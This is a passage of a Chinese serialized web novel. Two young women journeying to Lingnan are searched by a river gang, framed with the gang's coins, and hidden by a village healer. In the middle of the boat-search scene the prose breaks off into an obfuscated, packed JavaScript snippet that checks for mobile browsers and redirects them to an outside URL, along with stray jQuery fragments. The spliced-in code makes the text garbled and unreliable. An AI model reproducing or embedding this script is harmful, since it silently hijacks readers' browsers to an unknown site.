老陈“吁”的一声勒住缰绳,马车在码头边稳稳停下。咸腥的河风扑面而来,夹杂着鱼市特有的腥味和船上桐油的气味。 江心月掀开车帘,只见十几艘大小船只停靠在岸边,桅杆像树林一样密密麻麻地竖着。 “到了,就是这儿。”老陈跳下车,指了指不远处一艘挂着蓝布帆的货船,“那艘‘顺风号'',一会就开船去岭南。” 呆六娘迫不及待地蹦下车,却被地上湿滑的青苔差点绊了一跤。江心月眼疾手快地拽住她的后衣领:“慢着点,这地上全是鱼鳞。” 码头上人来人往,光着膀子的挑夫扛着麻袋在跳板上健步如飞。几个船娘挎着竹篮叫卖热乎乎的蒸米糕,篮子上盖着的白布被蒸汽熏得湿漉漉的。 “陈叔,这船靠谱吗?”江心月眯着眼打量那艘看起来有些年头的货船,船帮上的漆都剥落了几块。 老陈把她们的行李卸下车:“放心,这船老大姓周,跟我同乡,最是实在。船上还搭着几个去岭南的客商,安全得很。” 正说着,一个系着蓝布头巾的汉子从船上跳下来,老远就喊:“老陈!这边!” 呆六娘突然扯了扯江心月的袖子:“三娘,你看那边——”她指着不远处一艘气派的楼船,几个穿绸缎的商人正往船上搬箱子,“那船多漂亮啊,咱们怎么不坐那个?” 江心月还没来得及回答,老陈就笑出了声:“小丫头,那可是盐商老爷们的专船,光船钱就得二十两银子!” “二十两?!”呆六娘惊得捂住嘴,“够买多少斤糖啊!” 蓝头巾的船老大走过来,打量了她们几眼:“就是这两位姑娘要去岭南?”他转头对老陈说,“你这可没说还带着个小丫头。” “周老大,别看这丫头年纪小,可能干着呢。”江心月连忙把呆六娘往前推了推,“路上还能帮厨打下手。” 周老大摸了摸下巴上的胡茬:“行吧,不过船钱可不能少。一人二两,包吃住。” “这么贵?”江心月皱眉,“陈叔不是说好了一两半吗?” “那是前几日的价。”周老大摊手,“这两日漕帮加了水运费,我们也没法子。” 江心月咬了咬嘴唇,从腰间荷包里数出四两银子。 “上船吧,我带你们看住处。”周老大接过银子掂了掂,转身往跳板上走。 呆六娘却站着不动,眼睛直勾勾盯着不远处一个卖糖葫芦的小贩。江心月顺着她的目光看去,红艳艳的山楂裹着亮晶晶的糖衣,在阳光下闪闪发亮。 “想吃?”江心月轻声问。 呆六娘摇摇头,可喉咙却动了动:“就是...就是想着岭南的糖是不是也这么亮...” 江心月看着她馋猫的模样,从荷包里又摸出五文钱:“去买一串吧,就当是提前尝尝岭南的糖。” 呆六娘眼睛一亮,:“三娘,你最好了!” “快去,一会儿船开了。”江心月把钱塞进她手里,轻轻推了她一把。 看着呆六娘欢天喜地跑向糖葫芦摊子,江心月转身提起行李往跳板上走。跳板随着她的脚步上下晃动,脚下的河水泛着浑浊的泡沫。 “小心!”周老大一把扶住她摇晃的身子,“第一次走跳板?别往下看,盯着船走。” 江心月深吸一口气,抓紧了包袱。河风突然大了起来,把她的裙角吹得猎猎作响。就在这时,身后传来一阵急促的脚步声。 “三娘!三娘!”呆六娘举着糖葫芦飞奔而来,跳板被她踩得剧烈摇晃。江心月吓得赶紧抓住缆绳:“慢点!别跑!” 呆六娘一个箭步蹿上船,糖葫芦上的糖衣一点都没碰坏。她献宝似的把糖葫芦递到江心月嘴边:“三娘先吃!” 江心月看着眼前晶莹剔透的糖葫芦,轻轻咬了一小口。 “怎么样?甜不甜?”呆六娘眼巴巴地问。 “甜。”江心月揉了揉她乱蓬蓬的头发,“你赶快吃吧!” 周老大领着她们穿过堆满货箱的甲板,潮湿的木板在脚下吱呀作响。江心月小心避开甲板上渗出的污水,时不时扶一把东张西望的呆六娘。来到船尾一间小舱房前,周老大掏出钥匙,生锈的锁芯发出刺耳的摩擦声。 推开门,一股桐油和霉味混合的气息扑面而来,呛得呆六娘连打了两个喷嚏。狭小的舱房里只有两张窄床,中间的空隙勉强能站下一个人。墙上钉着个歪歪扭扭的小木桌,桌腿还用麻绳固定着。 “将就着住吧。”周老大用袖子擦了擦桌面积灰,“天热时可以打开透透气,”他指了指角落里巴掌大的小窗,“不过下雨得赶紧关上,浪大时海水会灌进来。” 呆六娘把包袱往床上一扔,迫不及待地扑到窗前:“三娘快看!能看到整个码头!”她兴奋地指着远处。 江心月放下行李,发现床单上还有没拍干净的泥沙,摸上去粗粝硌手。她正想说什么,甲板上突然传来“砰”的一声巨响,整艘船都晃了晃。纷乱的脚步声像打雷一样从头顶滚过,有人粗着嗓子喊:“漕帮查船!所有人出来!” “怎么回事?”她警觉地转向门口。 周老大摆摆手,示意她们别出声:“别紧张,是漕帮的人在查船。”他蹑手蹑脚地走到门边,耳朵贴在门板上听了听,回头压低声音,“你们把路引准备好,最近查走私蔗糖查得紧。” 呆六娘紧张地抓住江心月的衣角,声音都变了调:“三娘,我们的路引呢?” “在这儿呢。”江心月从贴身口袋里掏出两张盖着红印的纸,她仔细检查了一遍印章,确认没有模糊。 呆六娘踮着脚从门缝往外看,眼睛瞪得溜圆:“三娘,他们拿着好长的棍子在捅货箱!有个穿蓝衣服的被按在地上了!” 甲板上的吼声越来越近:“所有人带上行李到岸上接受检查!女人小孩先出来!” 江心月的手心沁出冷汗,把路引捏出了褶皱。她突然抓住周老大的胳膊:“周大哥,我们......” “嘘——”周老大突然竖起耳朵,脸色变得凝重,“领头的是赵五?那混球最爱刁难女客......”他猛地转身从床底拖出个木箱,掏出两件粗布衣裳,“快换上这个,就说是我侄女跟船去探亲。记住,我是临江府人士,你们爹是我堂兄。” 江心月还没反应过来,呆六娘已经利索地套上了满是鱼腥味的褂子,宽大的衣摆垂到她膝盖,活像个偷穿大人衣服的孩子。甲板上传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377908|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踹门声,隔壁舱房有个女人惊叫起来,接着是瓷器摔碎的声音。 “快!”周老大着急催促,“把你那绸缎腰带藏起来!这料子一看就不是渔家姑娘穿得起的!” 江心月手忙脚乱地解下绣花腰带塞进袖袋,粗布衣裳的领口磨得她脖子发红。呆六娘突然抓起墙角一把鱼鳞往她们衣摆上抹:“这样更像!我见过渔村的姑娘,身上都有鱼腥味!” 舱门被猛地推开时,江心月正弯腰系鞋带。一双沾满泥巴的官靴踏进门框,她抬头看见个满脸横肉的汉子,腰间别着块刻“漕”字的木牌,牌子上还沾着可疑的褐色污渍。 “路引。”汉子摊开长满老茧的手掌,指甲缝里黑乎乎的。 江心月递上路引时,发现自己的手指在微微发抖。赵五眯着眼反复查看,突然用路引拍打手心:“江氏?哪儿的人?” “回、回官爷,”江心月嗓子发紧,“临江府人士,跟周叔去岭南探亲。” 赵五突然弯腰凑近她:“探亲?”他嘴里喷出的蒜味熏得江心月后退半步,“细皮嫩肉的,倒像是......” “赵五!”周老大突然插进来,往汉子手里塞了什么东西,铜钱相撞发出清脆的声响,“我亲侄女,头回出门不懂规矩。您多包涵。” 赵五掂了掂手里的铜钱,突然一把抓过呆六娘的手:“这小丫头手上连个茧子都没有,像是干活的?” 呆六娘“哇”地哭出声,眼泪说来就来:“我、我天天帮三娘穿珍珠链子...”她突然从口袋里掏出一把圆润的木薯珍珠,那是她们准备到岭南做样品的。“您看!这都是我穿的!我还会编渔网呢!” 江心月的心跳差点停止,这些珍珠要是被认出来...... 赵五捏起一颗珍珠对着光看了看,突然咧嘴笑了,露出几颗发黄的牙齿:“有点意思。”他把珍珠抛回给呆六娘,“行了,带着你姐上岸登记去。记住,半个时辰后开船,过时不候!” 走到跳板上时,江心月的腿还是软的,差点被自己的裙摆绊倒。呆六娘紧紧攥着她的手,小声道:“三娘,我刚才厉害不?我学陈婶骂街时的样子装的!” “厉害。”江心月捏了捏她汗湿的手心,“晚上给你买糖糕吃。” 岸边临时支起的棚子里,几个书吏正在登记名册。江心月看到前面有个穿绸缎的商人正偷偷往书吏袖子里塞银子,那书吏眼皮都不抬就收下了。 “姓名?”轮到她们时,书吏头也不抬地蘸了蘸墨。 “江......”江心月忽然停顿,想起周老大交代的身份。 书吏狐疑地抬头,眉毛挑得老高:“江什么?” “江小鱼!”呆六娘突然脆生生地接话,脏兮兮的小脸笑得灿烂,“我姐叫江小鱼,我叫江小虾!我们是临江府渔村的!” 书吏笔尖一顿,突然哈哈大笑,笑得胡子直颤:“倒是应景!”他蘸墨写下名字,墨迹在粗糙的纸面上晕开些许。 江心月长舒一口气,抬头看见周老大在码头对面冲她们使眼色。他身边站着个卖糖糕的小贩,正掀开蒸笼,白茫茫的蒸汽模糊了他的面容。江心月突然觉得,这趟去岭南的路,恐怕比她想象的要艰难得多。 24. 岭南行之青阳镇1 登记完名册后,江心月拉着呆六娘快步走向周老大。码头上的人流比刚才更密集了,几个挑夫扛着巨大的麻袋横冲直撞,差点撞到呆六娘。 “看着点路!”江心月把呆六娘往身边拽了拽。 呆六娘却盯着周老大身边的糖糕摊子挪不开眼:“三娘,你说要给我买糖糕的......” “你这丫头,刚才不是才吃过糖葫芦?”江心月无奈地摇头,却还是从荷包里摸出两文钱,“只能买一块,吃多了待会儿坐船要难受。” 呆六娘欢呼一声,像只小麻雀似的蹦到摊子前。卖糖糕的是个满脸皱纹的老汉,揭开蒸笼时,甜腻的香气混着白雾扑面而来。 “要这块最大的!”呆六娘踮着脚指着一块金黄色的糖糕。 老汉笑着用油纸包好:“小丫头好眼力,这块加了桂花蜜哩!” 江心月看着呆六娘狼吞虎咽的样子,嘴角不自觉地上扬。她转向周老大:“周大哥,刚才多谢你解围。那赵五是什么来头?查得这般严。” 周老大压低声音,眼睛警惕地扫视四周:“最近漕帮和盐帮闹得凶,凡是南下的船都要扒层皮。”他搓了搓粗糙的手指,“你们算是运气好,要是碰上他们二当家查船,那才叫......” “开船喽——”船上的水手突然拉长声调喊道。 “快上船!”周老大一把提起她们的行李,“再晚就赶不上潮水了。” 呆六娘慌忙把最后一口糖糕塞进嘴里,噎得直拍胸口。江心月赶紧递上水囊:“慢点,没人跟你抢。” 跳板已经收起了大半,周老大一个箭步跨上船,转身伸手拉她们。江心月先把呆六娘推上去,自己正要抬脚,跳板却突然一晃。 “啊!”她脚下一滑,眼看就要跌进河里。 一双有力的手及时抓住了她的胳膊。江心月抬头,对上一张陌生的面孔——是个二十出头的年轻船工,皮肤被晒得黝黑,眼睛却亮得出奇。 “小心。”年轻船工的声音很轻,却异常清晰。 江心月站稳后,那人已经松开手,转身去帮忙收缆绳了。她只来得及看见他后颈处有一道细长的白色晒痕,像是常年戴斗笠留下的印记。 “三娘!快来看!”呆六娘在甲板上兴奋地招手,“船要开了!” 随着船工们整齐的号子声,“顺风号”缓缓离开码头。江心月扶着船舷,看着岸上渐渐变小的人群。老陈还站在原地,见她们看过来,挥了挥手中的鞭子。 “坐稳了!要过急流!”周老大在船头喊道。 江心月还没反应过来,船身突然剧烈倾斜。呆六娘尖叫一声,整个人往船舷外滑去。 “六娘!”江心月扑过去抓住她的腰带,自己的膝盖重重磕在甲板上,疼得她眼前发黑。 那个年轻船工不知何时出现在她们身边,一手稳住呆六娘,一手扶起江心月:“第一次坐船?过急流时要抓紧缆绳。” 呆六娘惊魂未定,小脸煞白:“我、我以为要掉下去了......” “习惯就好。”年轻船工笑了笑,露出两颗虎牙,“我叫阿水,负责船尾的活计。有事可以到后舱找我。” 他说完就去忙了,背影灵活地在摇晃的甲板上穿梭,如履平地。 江心月揉着发疼的膝盖,发现呆六娘正盯着阿水的背影出神。 “看什么呢?”她轻声问。 呆六娘眨眨眼:“三娘,他走路的样子好奇怪,像踩着波浪似的。” 江心月正想说什么,船突然又是一个颠簸。这次她及时抓住了缆绳,但胃里却翻江倒海起来。 “呕——”呆六娘已经趴在船舷边吐了起来,刚才吃的糖糕全喂了河鱼。 接下来的两个时辰,江心月几乎全在照顾晕船的呆六娘。小丫头吐得昏天黑地,最后连胆汁都吐出来了,只能虚弱地躺在舱房里哼哼。 “喝点水。”江心月扶起她,把水囊凑到她嘴边。 呆六娘啜了一小口,又躺回去:“三娘,我是不是要死了......” “胡说什么,就是晕船而已。”江心月用湿布擦去她额头的冷汗,“睡一觉就好了。” 呆六娘刚闭上眼睛,船身突然剧烈一震,接着传来一阵急促的脚步声和喊叫声。 “怎么回事?”江心月警觉地站起身。 “三娘,我怕......”呆六娘虚弱地抓住她的衣角。 江心月安抚地拍拍她的手:“我去看看,你躺着别动。” 她小心翼翼地推开舱门,发现走廊里空无一人,但甲板上的喊叫声更清晰了。她轻手轻脚地爬上楼梯,躲在货箱后面往外看。 天色已暗,河面上起了浓雾。几个船工正手忙脚乱地收帆,周老大在船头大声指挥着什么。江心月眯起眼睛,发现远处天边有一片诡异的黑云,正以肉眼可见的速度向船只压来。 “暴风雨要来了!把货绑紧!”周老大的声音里带着罕见的紧张。 江心月心头一紧,正想回去告诉呆六娘,却听见货箱另一侧传来压低声音的交谈。 “......漕帮的人怎么会知道?”一个沙哑的男声说。 “肯定是有人告密。”另一个声音回答,江心月认出是阿水的声音,“那批货藏好了吗?” “放心,在暗舱里,他们查不到。” “小心点,听说这次是二当家亲自带人查......” 江心月屏住呼吸,不敢发出一点声响。她直觉这些对话不简单,很可能与白天的检查有关。 “谁在那里?”沙哑声音突然喝道。 江心月的心跳几乎停止。她正犹豫是该现身还是逃跑,船身突然剧烈倾斜,她不受控制地滑向甲板边缘。 一只有力的手及时拽住了她。江心月抬头,再次对上阿水那双明亮的眼睛。他的表情很复杂,既像是惊讶,又像是早有预料。 “江姑娘,”他轻声说,“暴风雨要来了,您还是回舱房比较安全。” 江心月挣开他的手:“你们在船上藏了什么?” 阿水的眼神闪烁了一下:“只是些寻常货物。” “是吗?”江心月直视他的眼睛,“那为什么怕漕帮查?” 阿水没有立即回答。远处传来一声闷雷,接着是豆大的雨点砸在甲板上的声音。他的声音几乎被雨声淹没:“有些事情,不知道反而安全。” 暴雨说来就来,顷刻间就把江心月淋得透湿。阿水脱下自己的外衣递给她:“回去吧,照顾好你妹妹。无论听到什么动静,都别出来。” 江心月没有接他的衣服,转身往舱房跑去。雨水模糊了她的视线,几次差点滑倒。回到舱房时,呆六娘已经吓得缩成一团。 “三娘!”她扑上来抱住江心月,“船要沉了吗?” “不会的,只是普通的风雨。”江心月安慰她,自己的声音却有些发抖。 她帮呆六娘擦干头发,心里却回想着刚才听到的对话。这艘船肯定有问题,但她们已经上了贼船,现在该怎么办? 风雨越来越大,船像片树叶一样在浪涛中颠簸。呆六娘又开始晕船,吐得昏天黑地。江心月一边照顾她,一边警惕地听着外面的动静。除了风雨声,偶尔还能听到急促的脚步声和模糊的喊叫。 大约过了一个时辰,风雨终于小了些。江心月正想出去看看情况,突然听到门外有脚步声逼近。她迅速把呆六娘护在身后,眼睛死死盯着舱门。 门被轻轻推开一条缝,周老大的脸出现在缝隙中:“江姑娘,你们没事吧?” 江心月没有放松警惕:“周大哥,这船到底运的什么货?” 周老大愣了一下,随即挤出一个笑容:“就是些寻常的茶叶、丝绸......” “我听到了你们的谈话。”江心月直接挑明,“你们在躲漕帮的检查。” 周老大的表情变了,他左右看看,闪身进入舱房,反手关上门:“江姑娘,有些事情知道得太多对你们没好处。” 呆六娘怯生生地从江心月身后探出头:“周大叔,我们会不会被抓去坐牢啊?” 周老大叹了口气,突然从怀里掏出一个小布袋:“明天船会停靠青阳镇补给,你们最好在那里下船。”他把布袋塞给江心月,“这是退给你们的船钱,足够找别的船去岭南了。” 江心月没有接:“为什么突然让我们下船?” “为了你们好。”周老大的声音压得极低,“这船......不太平。青阳镇虽小,但有定期客船南下,比跟着我们安全。” 江心月盯着他的眼睛看了许久,终于接过钱袋:“好,我们明天在青阳镇下船。” 周老大似乎松了口气,转身要走,又停住脚步:“记住,无论谁问起,就说是因为丫头晕船受不了才下船的。” 他离开后,呆六娘扯了扯江心月的袖子:“三娘,我们真的要走吗?” 江心月点点头,数了数钱袋里的铜钱:“周老大给了我们一两银子,还算厚道。”她沉思片刻,“这船肯定有问题,早点离开是对的。”< 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呆六娘突然指着远处:“三娘,看!那就是青阳镇吗?” 薄雾中,一个小镇的轮廓渐渐清晰。青砖灰瓦的房屋依山而建,码头边停着几艘渔船,炊烟袅袅升起,在晨光中显得宁静祥和。 江心月却注意到,“顺风号”并没有直接驶向码头,而是在距离镇子还有一段距离的地方就放慢了速度。 “奇怪,”她小声嘀咕,“为什么不停到码头去?” 阿水不知何时站在了她身后:“我们只是路过,不在这里卸货。”他的声音很轻,“你们下船后,沿着东岸走半里路就能到镇上了。” 江心月警觉地看了他一眼:“多谢指点。” 船终于停下,水手放下一条小舢板。周老大亲自来送她们:“保重,到了岭南代我向堂兄问好。” 江心月明白这是在维持她们编造的身份,便点点头:“一定带到。” 呆六娘突然抱住周老大的胳膊:“周大叔,谢谢你给的糖糕钱!” 周老大愣了一下,随即笑着揉了揉她的头发:“小丫头,路上听你姐姐的话。” 舢板划向岸边时,江心月回头看了一眼“顺风号”。阿水站在船尾望着她们,晨光中他的身影显得格外孤独。船很快又启程了,渐渐消失在河面的薄雾中。 “三娘,我们现在去哪?”呆六娘踩上坚实的土地,兴奋地蹦跳了两下。 江心月看了看远处的小镇:“先去镇上找个大夫看看你的风寒,然后打听去岭南的客船。” 她们沿着河岸走了一会儿,突然听到身后有急促的脚步声。江心月警觉地回头,看见两个陌生男子快步向她们走来,腰间隐约可见兵器的轮廓。 “快走!”她拉起呆六娘就跑。 “站住!”身后传来厉喝,“漕帮查案!” 江心月的心沉了下去。她们明明已经下了船,为什么漕帮还要追她们?除非......周老大给她们的钱有问题。 “三娘,我跑不动了......”呆六娘气喘吁吁地说,小脸涨得通红。 江心月看着越来越近的追兵,又看看不远处的小镇,咬牙抱起呆六娘:“坚持住,马上就到镇上了!” 她拼命跑着,耳边是自己剧烈的心跳声和呆六娘的抽泣声。身后的脚步声越来越近,就在她几乎绝望的时候,前方镇口突然出现几个早起的村民。 “救命!”江心月用尽全力喊道,“有人追我们!” 村民们惊讶地看过来,其中一个大汉抄起扁担就向她们身后走去。江心月趁机抱着呆六娘冲进镇子,拐进一条狭窄的小巷。 她靠在墙上大口喘气,呆六娘在她怀里瑟瑟发抖:“三娘,那些人为什么追我们?” 江心月从腰间摸出周老大给的钱袋,倒出里面的银钱。在晨光下,她清楚地看到几枚铜钱上刻着特殊的印记——那是漕帮专用的钱币。 “我们被周老大利用了,”她苦涩地说,“他给了我们赃物,让漕帮以为我们是同伙。” 呆六娘瞪大眼睛:“那怎么办?” 江心月迅速把钱袋塞进小巷的排水沟:“先找个地方躲起来,然后再想办法离开这里。” 她拉着呆六娘往巷子深处走去,心中既愤怒又懊悔。岭南之行才刚开始,她们就已经卷入了一场莫名的风波。而现在,她们不仅要找新的交通工具,还得躲避漕帮的追捕。 25. 岭南行之青阳镇2 路上积着昨夜的雨水,江心月提着药包快步走着,油纸包里的草药散发出苦涩的气味。拐过街角的酱菜铺子时,她突然刹住脚步。三个系蓝腰带的汉子正在对面茶摊挨个盘问路人。 “见没见过一高一矮两个外乡姑娘?小的那个病恹恹的。”为首的汉子拍着茶桌,震得粗瓷碗叮当响。 江心月立刻转身,假装挑拣酱菜铺门口的腌梅子。她心跳得厉害,手指不自觉地掐进药包,桑皮纸发出细微的碎裂声。 “姑娘要尝尝新腌的脆梅么?”铺子里的大娘撩开布帘,嗓门洪亮。 江心月慌忙摇头,余光瞥见那几人已经往这边张望。她急中生智,抓起竹笠扣在头上,故意粗着嗓子道:“给俺称半斤辣萝卜干。” “好嘞!”大娘麻利地舀起红彤彤的腌菜,“姑娘口音不像本地人啊?” 竹笠边缘的雨水滴在江心月鼻尖上。她感到那几人的目光像针一样扎在背上,忙摸出几个铜钱拍在柜台上:“俺给掌柜的跑腿,急着回去。” 刚拐进小巷,她就跑了起来。药包在怀里颠簸,当归的香气混着陈皮的酸味一个劲儿往鼻子里钻。路过巷口馒头摊时,蒸汽糊了她一脸,也顾不得擦。 “让让!”挑粪的老汉迎面而来,扁担差点刮到她胳膊。 江心月侧身避让,突然听见身后传来骂声:“那小娘们跑什么?追!” 她头皮一炸,钻进错综复杂的晾衣巷。各家竹竿上晒着的被单衣物成了天然屏障,蓝布衫、白褥单在风中啪啪作响,打在她脸上又湿又重。 “分头堵!”追兵的声音在巷子外回荡。 江心月蹲在一户人家的后门台阶下,药包紧搂在胸前。门里传来孩童背《千字文》的声音,还有妇人“哒哒”的切菜声。她急促的呼吸渐渐平复,这才发现左手掌心被指甲掐出了四个月牙形的红痕。 待脚步声远去,她猫着腰从晾晒的床单下钻出来,绕到客栈后门。木楼梯年久失修,每踩一脚都发出不堪重负的呻吟。 推开二楼客房的门,呆六娘正裹着被子发抖,小脸烧得通红。听见响动,她挣扎着支起身子:“三娘...” “躺好!”江心月反手拴上门,药包搁在缺角的八仙桌上直喘气。茶壶里的水早凉了,她只得掰了块桂枝干嚼,苦涩的味道在舌尖蔓延。 呆六娘咳嗽着指向窗户:“刚才、刚才有人来问...” 江心月冲到窗边,掀起一条缝。斜对街的粮铺前,两个蓝腰带正在翻看登记簿。她猛地合上窗扇,震得窗纸哗啦一响。 “三娘,我害怕...”呆六娘声音带着哭腔,手指揪着被角直颤。 “喝了药就不怕了。”江心月强作镇定,从包袱里摸出个小陶罐。罐底还粘着几粒木薯珍珠,在晨光中泛着柔润的光。 她手忙脚乱地生火煎药,柴禾受了潮,呛得两人直咳嗽。呆六娘缩在床头,突然小声说:“我想陈婶了...” 江心月搅动药汤的手顿了顿。褐色的药汁在罐里咕嘟咕嘟冒泡,腾起的热气模糊了她的眼睛。 “等到了岭南,给你买好吃的。”她舀起一勺药吹了吹。 呆六娘皱着脸咽下药汁,突然抓住她的手腕:“三娘,要是他们闯进来...” “嘘——”江心月突然竖起手指,耳朵贴近门板。木楼梯发出吱呀声,有人正往二楼来。 脚步声在门外停住,门把手“咔嗒”响了一声。江心月抄起煎药用的铁钳,挡在呆六娘床前。药罐里的汤药还在咕嘟冒泡,蒸汽把盖子顶得不停跳动。 “客官,真没见过什么生病的丫头。”客栈掌柜的声音从走廊传来,带着讨好的语气。 门把手又晃动两下,终于随着脚步声渐渐远去。江心月这才松了手里的铁钳,发现掌心被硌出几道红印。呆六娘已经歪在枕头上昏睡过去,睫毛上还挂着泪珠。 江心月轻轻拨开黏在呆六娘额前的碎发,触手滚烫。房间里弥漫着药草的苦味、汗水的酸味和木板受潮的霉味,远处隐约传来漕帮的吆喝声。 “得赶紧走了。”江心月自言自语,飞快地抖开包袱皮。 “六娘,醒醒。”她轻轻推了推小姑娘,“漕帮的人找来了。” 呆六娘迷迷糊糊睁开眼,刚要说话,突然弓着背剧烈咳嗽起来,小脸憋得通红。江心月连忙拍她的背,摸到的脊梁骨瘦得硌手。 “能走吗?”江心月给她裹上厚棉袄。 呆六娘点点头,脚刚沾地就晃了晃。江心月二话不说蹲下:“上来,我背你。” 背着呆六娘从后门溜出去时,江心月听见前厅掌柜的在说:“是有两个姑娘住店,但早上就退房了......” 呆六娘在背上越来越沉,呼出的气烫得吓人。江心月专挑小巷走,忽然听见身后传来杂沓的脚步声。 “那边!穿绿袄的!” 江心月拔腿就跑。拐过三个弯后,她两腿发软,不得不靠在间药铺门板上喘气。呆六娘突然剧烈咳嗽,哇地吐在她肩头。 “三娘...”呆六娘虚弱地道歉,声音带着哭腔。 “没事,没事。”江心月强撑着安慰她,感觉后背的衣服已经被冷汗浸透。 药铺伙计端着盆血水往外泼,差点溅到江心月身上。“让让!别挡着门!”他粗声粗气地喊道。 江心月正要躲开,门帘一掀,出来个三十出头的妇人。那妇人穿着洗得发白的蓝布衣裙,手里还握着把带血的剪刀,看样子刚给人接生完。 “这孩子怎么了?”妇人一眼就看见呆六娘通红的小脸,眉头立刻皱了起来。 江心月下意识往后退了半步,把呆六娘往怀里搂紧了些。巷子口又传来漕帮的吆喝声,听着比刚才更近了。 妇人二话不说伸手摸了摸呆六娘的额头,脸色顿时变了:“烧得这么厉害!快进来!” “不用麻烦了...”江心月话还没说完,呆六娘突然又吐了起来,这回吐出来的东西里带着血丝。 妇人一把推开挡路的伙计:“去我屋里,这药铺的大夫只会看头疼脑热。” 江心月还在犹豫,妇人已经利落地解下围裙:“我叫解丁兰,从小跟着我爹学医。你们要是信得过,我家就在巷子最里头。” 身后追兵的声音越来越近。呆六娘突然抽搐起来,嘴角冒出白沫。江心月急得眼泪直打转,声音都变了调:“解...解大姐,求您救救她!” 解丁兰二话不说接过呆六娘:“跟我来!”她转身就往巷子深处跑,蓝布裙摆被风吹得飘起来。 江心月攥紧包袱跟上去,听见身后漕帮的人已经冲进了药铺。“人呢?刚才明明看见往这边跑了!” 她家是间低矮的瓦房,门口晒着各色草药。刚进门,解丁兰就把呆六娘平放在竹榻上,扒开眼皮看了看,又掰开嘴瞧舌苔。 “风寒入肺,再拖就要成肺痈了。”她边说边从梁上取下个藤编药箱,“信我就留下,不信现在就走。” 江心月看着呆六娘青紫的嘴唇,一咬牙:“信!” 解丁兰点点头,麻利地点燃小炭炉:“去厨房把姜捣烂,灶台上有黄酒倒半碗来。” 等江心月端着姜汁回来,解丁兰已经给呆六娘扎上七八根银针。小丫头呼吸平稳了些,但脸上还是烧得通红。 “按住她肩膀。”解丁兰卷起袖子,拿出三棱针在火上烤了烤,“要放血。” 江心月刚按住,解丁兰突然停住:“你不怕?” “只要能救她。”江心月声音发颤。 针尖刺入呆六娘耳垂的瞬间,小丫头猛地挣 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窗外的天渐渐黑了。江心月看着解丁兰忙碌的背影,突然问:“解大姐,您医术这么好,为什么...” “为什么不在药铺坐堂?”解丁兰冷笑一声,“去年王员外家的小姐看妇人病,我开了方子,他们非要再请济世堂的老头子看一眼。”她用力捣着药臼,“那老头子说女子属阴不宜用柴胡,改了两味药,结果小姐月事崩漏差点没命,最后倒成了我用药太猛。” 江心月想起刚才药铺伙计的嘴脸,心里发堵。解丁兰却已经端着药碗过来:“扶她起来。” 呆六娘被苦得直皱眉,但还是乖乖喝完了药。解丁兰摸摸她的头:“乖孩子,明天就能退烧。” 江心月突然跪下:“解大姐救命之恩...” “起来!”解丁兰一把拽起她,“我也是看你真心疼这孩子。”她指指隔壁屋,“晚上你睡那间,夜里要换三次凉巾子,我教你认穴位。” 夜深人静时,江心月拧干布巾,轻轻搭在呆六娘滚烫的额头上。小丫头睡得不安稳,嘴里不时嘟囔几句梦话。 解丁兰抱来床旧棉被,她抖开被子盖在呆六娘身上,突然压低声音:“今儿去码头买鱼,看见漕帮贴了告示。” 江心月的手顿了顿,布巾上的水珠滴在床沿。 “说是有两个外乡女子偷了漕帮的银钱,”解丁兰坐在床尾搓着被角,“画得虽不像,但说的是一个高个姑娘带个小丫头。” “我们是被人陷害的。”江心月闻言,手腕几不可察地颤了颤,“那钱袋是船老大塞给我们的,我们根本不知道。”声音不疾不徐,字字清晰。 解丁兰突然按住她绞紧布巾的手:“轻些,布巾都要拧断了。她接过湿布巾重新浸到水盆里,”我爹常说,着急的时候更要手上轻,心里静。“ 木盆里的水换了七八回,渐渐染上草药的色泽。呆六娘突然咳嗽起来,江心月立即俯身,一手托住小丫头的后颈,一手轻拍她的背脊。 解丁兰递来碗温水:“慢些喝。”待呆六娘喝完水又睡下,她才继续道:“明儿个渔市有船去下游,你们要是能躲过漕帮的眼线...” 江心月猛地抬头,撞上解丁兰平静的目光。灯花爆了一下,墙上的影子跟着跳了跳。 “我认得个卖虾酱的老李,”解丁兰把布巾重新敷在呆六娘额头,“他每日寅时去码头送货。” 江心月张了张嘴,喉咙却像被什么堵住了。她想说谢谢,又觉得这两个字太轻。 “睡会儿吧,”解丁兰起身吹灭了灯,“我守着就行。” 黑暗里,江心月听见自己的心跳声格外响。呆六娘翻了个身,滚烫的小手摸索着抓住了她的衣角。 26. 岭南行之青阳镇3 天刚蒙蒙亮,江心月就醒了。她轻轻把衣角从呆六娘手里抽出来,伸手探了探额头,烧退了不少,鼻尖上还沁着细密的汗珠,悬了一夜的心总算放下来些。 “三娘...”呆六娘揉着眼睛坐起来,声音还带着病后的虚弱,却比昨日清亮许多吗,“我梦见吃了一大碗冰镇酸梅汤。” 解丁兰端着热粥进来,闻言笑道:“能做梦吃东西,这病就好得差不多了。”她放下粥碗,从怀里掏出两个油纸包,“趁热吃,吃完该动身了。” 江心月帮呆六娘穿好衣裳,小丫头瘦了一圈,衣裳显得空荡荡的。解丁兰递来个包袱:“里头有干粮和换洗衣裳,还有包退热药,路上防备着。” “解大姐...”江心月声音有些哽咽。 “别说客套话。”解丁兰摆摆手,“老李的船卯时出发,这会儿去正好赶上。” 三人悄悄出了院门。晨雾笼罩着石板路,早起的渔婆正往码头方向挑担子。解丁兰带着她们穿街过巷,拐过鱼市时,腥味扑面而来。 “那就是老李的船。”解丁兰指着码头边一艘小渔船,“你们装作买虾酱的,混上船就成。” 呆六娘突然拽了拽江心月的袖子:“三娘,那边...” 江心月顺着她指的方向看去,两个漕帮打扮的人正在码头口查问路人。她连忙拉着呆六娘躲到鱼摊后面。 “我去引开他们。”解丁兰整了整头巾,“你们看准机会就上船。” 江心月一把拉住她:“太危险了!” 解丁兰笑了笑:“放心,我可是这儿的接生婆,他们不敢拿我怎样。”说完就大步朝漕帮的人走去。 “两位大哥!”解丁兰声音洪亮,“可算找着你们了!东街王家的媳妇难产,非得请漕帮的大夫不可!” 